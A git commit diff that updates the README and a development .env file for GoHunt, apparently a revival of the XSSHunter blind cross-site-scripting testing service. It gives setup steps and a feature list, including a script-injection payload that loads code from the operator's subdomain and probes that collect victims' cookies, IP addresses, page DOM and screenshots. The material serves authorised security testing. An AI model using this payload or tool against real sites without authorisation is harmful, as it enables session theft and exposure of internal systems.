Update readme

.env.dev

@@ -1,2 +1,3 @@
 DOMAIN=localhost:8081
 GOHUNT_USERNAME=test
+#GOHUNT_PASSWORD=yourstrongpasswordhere (optional)

README.md

@@ -1,13 +1,63 @@
-# gohunt
+# GoHunt
 
+A revival of [XSSHunter](https://github.com/mandatoryprogrammer/xsshunter), `GoHunt` brings all your favorite `XSSHunter` functionality. Plus quality of life improvements!
+
+Main changes:
+- Single golang binary or docker deployment
+- Additional notification methods 
+- Bulk deletion/editing 
+- Single Sign on
+
+
+## Requirements
+* A domain name
+* Docker/Podman
+* Ability to set DNS records
+
+## Setup
+
+Set a wildcard DNS record to your GoHunt instance
 ```sh
-sudo docker run -d --name postgres-gohunt -e POSTGRES_USER=gohunt -e POSTGRES_PASSWORD=gohunt -e POSTGRES_DB=gohunt -p 127.0.0.1:5432:5432 postgres
+example.com A <YOUR INSTANCE IP>
+*.example.com CNAME example.com
 ```
 
+Create an `.env` file
+```sh
+DOMAIN=localhost:8081
+GOHUNT_USERNAME=test
+```
 
-DNS
-
+Start the `docker-compose.yaml`:
+```sh
+docker compose -f docker-compose.yaml up -d
 ```
-example.com A 1.1.1.1
-*.example.com CNAME example.com
-```
+
+Thats it!
+
+
+## Summary of Functionality
+*Upon signing up you will create a subdomain such as `yoursubdomain.example.com` which identifies your XSS vulnerabilities and hosts your payload. You then use this subdomain in your XSS testing, using injection attempts such as `"><script src=//yoursubdomain.example.com></script>`. GoHunt will automatically serve up XSS probes and collect the resulting information when they fire.*
+
+## Features
+* **Single Sign-on** GoHunt supports OIDC for logging in to your service
+* **User Management** Admin users can update and edit user records
+* **Managed XSS payload fires**: Manage all of your XSS payloads in your GoHunt account's control panel, including bulk deleting
+* **Powerful XSS Probes**: The following information is collected everytime a probe fires on a vulnerable page:
+    * The vulnerable page's URI 
+    * Origin of Execution 
+    * The Victim's IP Address 
+    * The Page Referer 
+    * The Victim's User Agent 
+    * All Non-HTTP-Only Cookies 
+    * The Page's Full HTML DOM 
+    * Full Screenshot of the Affected Page 
+    * Responsible HTTP Request (If an GoHunt compatible tool is used) 
+* **Full Page Screenshots**: GoHunt probes utilize the HTML5 canvas API to generate a full screenshot of the vulnerable page which an XSS payload has fired on. With this feature you can peak into internal administrative panels, support desks, logging systems, and other internal web apps. This allows for more powerful reports that show the full impact of the vulnerability to your client or bug bounty program.
+* **XSS Payloads Fire Notifications**: XSS payload fires also send out **webhooks** or **email** notifications, your choice!
+* **Automatic Payload Generation**: GoHunt automatically generates XSS payloads for you to use in your web application security testing.
+* **Correlated Injections**: Perhaps the most powerful feature of GoHunt is the ability to correlated injection attempts with XSS payload fires. By using an [GoHunt/XSSHunter compatible testing tool](https://github.com/mandatoryprogrammer/xsshunter_client) you can know immediately what caused a specific payload to fire (even weeks after the injection attempt was made!).
+* **Option PGP Encryption for Payload Emails**: Extra paranoid? Client-side PGP encryption is available which will encrypt all injection data in the victim's browser before sending it off to the GoHunt service.
+* **Page Grabbing**: Upon your XSS payload firing you can specify a list of relative paths for the payload to automatically retrieve and store. This is useful in finding other vulnerabilities such as bad `crossdomain.xml` policies on internal systems which normally couldn't be accessed.
+* **Secondary Payload Loading**: Got a secondary payload that you want to load after GoHunt has done it's thing? GoHunt offers you the option to specify a secondary JavaScript payload to run after it's completed it's collection.
+* **Confidential Mode**: Dont want to send any details with your notifications? To be safe, this option only means you get notification and no details to your **slack**, **discord**, or email inbox